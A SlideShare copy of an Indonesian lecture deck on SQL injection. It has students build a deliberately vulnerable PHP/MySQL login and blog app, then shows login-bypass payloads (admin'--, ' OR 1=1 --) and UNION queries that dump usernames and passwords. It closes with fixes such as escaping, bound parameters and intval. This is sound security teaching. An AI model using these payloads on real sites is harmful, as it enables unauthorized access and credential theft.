SlideShare a Scribd company logo
1 of 15
SQL Injection
Dhendra Marutho, S.Kom, M.Kom
Praktek SQL Injection
• Buat Aplikasi Login Sederhana Menggunakan PHP dan HTML dengan database MySQL
• Buat Database dbblog / yg lain kemudian buat table user
• Buat File PHP
• config.php
• login.php
• Index.php
• Blog.php
• Post.php
Buat dbblog
• Eksekusi SQL
config.php
login.php
Index.php
SQL Injection
• Jika mengetahui Username tetapi tidak mengetahui password
• Contoh
• Select * from tbl_user WHERE username = 'admin’ AND password =
'1234'; contoh query normal
• Lakukan injeksi pada belakang username  Select * from tbl_user
WHERE username = 'admin'-- ' AND password = '1234';
• Jika dilakukan pada program masukan pada input box username
• admin’—[space]  yang berarti akan mengabaikan password pada
username
SQL Injection
• Jika tidak mengetahui Username dan password
• Contoh
• Select * from tbl_user WHERE username = 'admin’ AND password = '1234'; contoh query normal
• Lakukan injeksi pada user name dengan logika OR
•  Select * from tbl_user WHERE username = 'yyyy' OR 1=1 -- ‘ AND password = '1234’;
• Atau di limit agar dapat satu data saja Select * from tbl_user WHERE username = 'yyyy' OR
1=1 LIMIT 1 -- ' AND password = '1234';
• Jika dilakukan pada program masukan pada input box username
• yyyy' OR 1=1[space]--[space]  yang berarti akan mengabaikan password pada username
Bagaimana Cara Mengatasinya?
• Menggunakan escape string
• mysqli_real_escape_string(connection, escapestring)
• https://www.tutorialspoint.com/php/php_function_mysqli_real_esca
pe_string.htm
• Menggunakan Bind Parameter
• mysqli_stmt_bind_param($stmt, $types, $var1, $var2...);
• https://www.tutorialspoint.com/php/php_function_mysqli_stmt_bin
d_param.htm
mysqli_real_escape_string
• Rubah penerimaan variable waktu dikirim dengan metode post
menjadi seperti ini
mysqli_stmt_bind_param
SQL Injection Union
• Buat halaman blog dan post
• Berisi daftar list blog dan posting dari blog
Menampilkan List Blog
Menampilkan Detail
Blog / Post
•http://prakteksqlinjection.local/post.ph
p?id=1
UNION
• Lakukan pengecekan data hingga tidak ada error, itu menandakan table tersebut mempunyai kolom sejumlah yang kita test,
pada query sql kita bisa menggabungkan beberapa hasil query menggunakan teknis union, dan jika menggunakan SQL
Injection di simulasi query hasilnya seperti ini  Select * From tbl_post WHERE id = 1 UNION SELECT 1,2,3,4
• Jika sudah tahu jumlah tabelnya yang akan kita union kita bisa lakukan injection menggunakan query untuk mendapatkan user
dan password dari web tersebut  id=9999 UNION SELECT 1, username, 3, password FROM tbl_user LIMIT 0,1
• Mencari table user pada table tablescema mysql
• Select table_name from `TABLES` where TABLE_SCHEMA = 'dblatihan’ untuk mengetahui table apa saja yang ada
• Jika sudah tau ada table apa saja, kita bisa lakukan penyerangan
• id=9999 UNION SELECT 1, group_concat(username), 3, group_concat(password) FROM tbl_user LIMIT 0,1
• Mencegahnya dengan Menggunakan intval($variable)

More Related Content

Similar to sqlinjection-230606224413-2efc0d99.pptx

Database Operation di VB.NET
Database Operation di VB.NETDatabase Operation di VB.NET
Database Operation di VB.NETFgroupIndonesia
 
Entri, Edit, Delete, Tampil (CRUD) dengan PHP dan Ajax JQuery
Entri, Edit, Delete, Tampil (CRUD) dengan PHP dan Ajax JQueryEntri, Edit, Delete, Tampil (CRUD) dengan PHP dan Ajax JQuery
Entri, Edit, Delete, Tampil (CRUD) dengan PHP dan Ajax JQueryAchmad Solichin
 
Database operation di C++
Database operation di C++Database operation di C++
Database operation di C++FgroupIndonesia
 
Membuat Catatan Online dengan Cherrypy
Membuat Catatan Online dengan CherrypyMembuat Catatan Online dengan Cherrypy
Membuat Catatan Online dengan CherrypyRidwan Fadjar
 
Jquery Ajax Part 1 by Yussan
Jquery Ajax Part 1 by YussanJquery Ajax Part 1 by Yussan
Jquery Ajax Part 1 by YussanYusuf A.H.
 
Java & my sql
Java  & my sqlJava  & my sql
Java & my sqlmbolwol
 
Modul framework code igniter
Modul framework code igniterModul framework code igniter
Modul framework code igniterFakhir Rizal
 
Form validation dengan code igniter
Form validation dengan code igniterForm validation dengan code igniter
Form validation dengan code igniterEidelbert Sinaga
 
Manipulasi database mysql dgn php
Manipulasi database mysql dgn phpManipulasi database mysql dgn php
Manipulasi database mysql dgn phpHaswi Haswi
 
membuat function dalam mysql
membuat function dalam mysqlmembuat function dalam mysql
membuat function dalam mysqlsukangimpi
 
Belajar pemrograman berbasis web php dhtmlx part 10 simple crud dhtmlx dan co...
Belajar pemrograman berbasis web php dhtmlx part 10 simple crud dhtmlx dan co...Belajar pemrograman berbasis web php dhtmlx part 10 simple crud dhtmlx dan co...
Belajar pemrograman berbasis web php dhtmlx part 10 simple crud dhtmlx dan co...Tobing Manuppak
 
Introduction to Laravel
Introduction to LaravelIntroduction to Laravel
Introduction to LaravelYogi Pratama
 
Panduan Pemrograman Berbasis Web dengan HTML, PHP, dan Database MySQL Part 2 ...
Panduan Pemrograman Berbasis Web dengan HTML, PHP, dan Database MySQL Part 2 ...Panduan Pemrograman Berbasis Web dengan HTML, PHP, dan Database MySQL Part 2 ...
Panduan Pemrograman Berbasis Web dengan HTML, PHP, dan Database MySQL Part 2 ...Doni Tobing
 
Wawan tutorial-zend-bagian-4
Wawan tutorial-zend-bagian-4Wawan tutorial-zend-bagian-4
Wawan tutorial-zend-bagian-4Haswi Haswi
 

Similar to sqlinjection-230606224413-2efc0d99.pptx (20)

Database Operation di VB.NET
Database Operation di VB.NETDatabase Operation di VB.NET
Database Operation di VB.NET
 
Entri, Edit, Delete, Tampil (CRUD) dengan PHP dan Ajax JQuery
Entri, Edit, Delete, Tampil (CRUD) dengan PHP dan Ajax JQueryEntri, Edit, Delete, Tampil (CRUD) dengan PHP dan Ajax JQuery
Entri, Edit, Delete, Tampil (CRUD) dengan PHP dan Ajax JQuery
 
Belajar php 2015
Belajar php 2015Belajar php 2015
Belajar php 2015
 
Database operation di C++
Database operation di C++Database operation di C++
Database operation di C++
 
Membuat Catatan Online dengan Cherrypy
Membuat Catatan Online dengan CherrypyMembuat Catatan Online dengan Cherrypy
Membuat Catatan Online dengan Cherrypy
 
Jquery Ajax Part 1 by Yussan
Jquery Ajax Part 1 by YussanJquery Ajax Part 1 by Yussan
Jquery Ajax Part 1 by Yussan
 
Java & my sql
Java  & my sqlJava  & my sql
Java & my sql
 
Modul framework code igniter
Modul framework code igniterModul framework code igniter
Modul framework code igniter
 
Form validation dengan code igniter
Form validation dengan code igniterForm validation dengan code igniter
Form validation dengan code igniter
 
Manipulasi database mysql dgn php
Manipulasi database mysql dgn phpManipulasi database mysql dgn php
Manipulasi database mysql dgn php
 
Tugas5 1300631030
Tugas5 1300631030Tugas5 1300631030
Tugas5 1300631030
 
Tutorial crud PHP
Tutorial crud PHPTutorial crud PHP
Tutorial crud PHP
 
membuat function dalam mysql
membuat function dalam mysqlmembuat function dalam mysql
membuat function dalam mysql
 
Yii2 fundamentals bagian 1
Yii2 fundamentals   bagian 1Yii2 fundamentals   bagian 1
Yii2 fundamentals bagian 1
 
Injection sql
Injection sqlInjection sql
Injection sql
 
Belajar pemrograman berbasis web php dhtmlx part 10 simple crud dhtmlx dan co...
Belajar pemrograman berbasis web php dhtmlx part 10 simple crud dhtmlx dan co...Belajar pemrograman berbasis web php dhtmlx part 10 simple crud dhtmlx dan co...
Belajar pemrograman berbasis web php dhtmlx part 10 simple crud dhtmlx dan co...
 
Introduction to Laravel
Introduction to LaravelIntroduction to Laravel
Introduction to Laravel
 
7 jam membuat web dari nol
7 jam membuat web dari nol7 jam membuat web dari nol
7 jam membuat web dari nol
 
Panduan Pemrograman Berbasis Web dengan HTML, PHP, dan Database MySQL Part 2 ...
Panduan Pemrograman Berbasis Web dengan HTML, PHP, dan Database MySQL Part 2 ...Panduan Pemrograman Berbasis Web dengan HTML, PHP, dan Database MySQL Part 2 ...
Panduan Pemrograman Berbasis Web dengan HTML, PHP, dan Database MySQL Part 2 ...
 
Wawan tutorial-zend-bagian-4
Wawan tutorial-zend-bagian-4Wawan tutorial-zend-bagian-4
Wawan tutorial-zend-bagian-4
 

sqlinjection-230606224413-2efc0d99.pptx

  • 2. Praktek SQL Injection • Buat Aplikasi Login Sederhana Menggunakan PHP dan HTML dengan database MySQL • Buat Database dbblog / yg lain kemudian buat table user • Buat File PHP • config.php • login.php • Index.php • Blog.php • Post.php
  • 7. SQL Injection • Jika mengetahui Username tetapi tidak mengetahui password • Contoh • Select * from tbl_user WHERE username = 'admin’ AND password = '1234'; contoh query normal • Lakukan injeksi pada belakang username  Select * from tbl_user WHERE username = 'admin'-- ' AND password = '1234'; • Jika dilakukan pada program masukan pada input box username • admin’—[space]  yang berarti akan mengabaikan password pada username
  • 8. SQL Injection • Jika tidak mengetahui Username dan password • Contoh • Select * from tbl_user WHERE username = 'admin’ AND password = '1234'; contoh query normal • Lakukan injeksi pada user name dengan logika OR •  Select * from tbl_user WHERE username = 'yyyy' OR 1=1 -- ‘ AND password = '1234’; • Atau di limit agar dapat satu data saja Select * from tbl_user WHERE username = 'yyyy' OR 1=1 LIMIT 1 -- ' AND password = '1234'; • Jika dilakukan pada program masukan pada input box username • yyyy' OR 1=1[space]--[space]  yang berarti akan mengabaikan password pada username
  • 9. Bagaimana Cara Mengatasinya? • Menggunakan escape string • mysqli_real_escape_string(connection, escapestring) • https://www.tutorialspoint.com/php/php_function_mysqli_real_esca pe_string.htm • Menggunakan Bind Parameter • mysqli_stmt_bind_param($stmt, $types, $var1, $var2...); • https://www.tutorialspoint.com/php/php_function_mysqli_stmt_bin d_param.htm
  • 10. mysqli_real_escape_string • Rubah penerimaan variable waktu dikirim dengan metode post menjadi seperti ini
  • 12. SQL Injection Union • Buat halaman blog dan post • Berisi daftar list blog dan posting dari blog
  • 14. Menampilkan Detail Blog / Post •http://prakteksqlinjection.local/post.ph p?id=1
  • 15. UNION • Lakukan pengecekan data hingga tidak ada error, itu menandakan table tersebut mempunyai kolom sejumlah yang kita test, pada query sql kita bisa menggabungkan beberapa hasil query menggunakan teknis union, dan jika menggunakan SQL Injection di simulasi query hasilnya seperti ini  Select * From tbl_post WHERE id = 1 UNION SELECT 1,2,3,4 • Jika sudah tahu jumlah tabelnya yang akan kita union kita bisa lakukan injection menggunakan query untuk mendapatkan user dan password dari web tersebut  id=9999 UNION SELECT 1, username, 3, password FROM tbl_user LIMIT 0,1 • Mencari table user pada table tablescema mysql • Select table_name from `TABLES` where TABLE_SCHEMA = 'dblatihan’ untuk mengetahui table apa saja yang ada • Jika sudah tau ada table apa saja, kita bisa lakukan penyerangan • id=9999 UNION SELECT 1, group_concat(username), 3, group_concat(password) FROM tbl_user LIMIT 0,1 • Mencegahnya dengan Menggunakan intval($variable)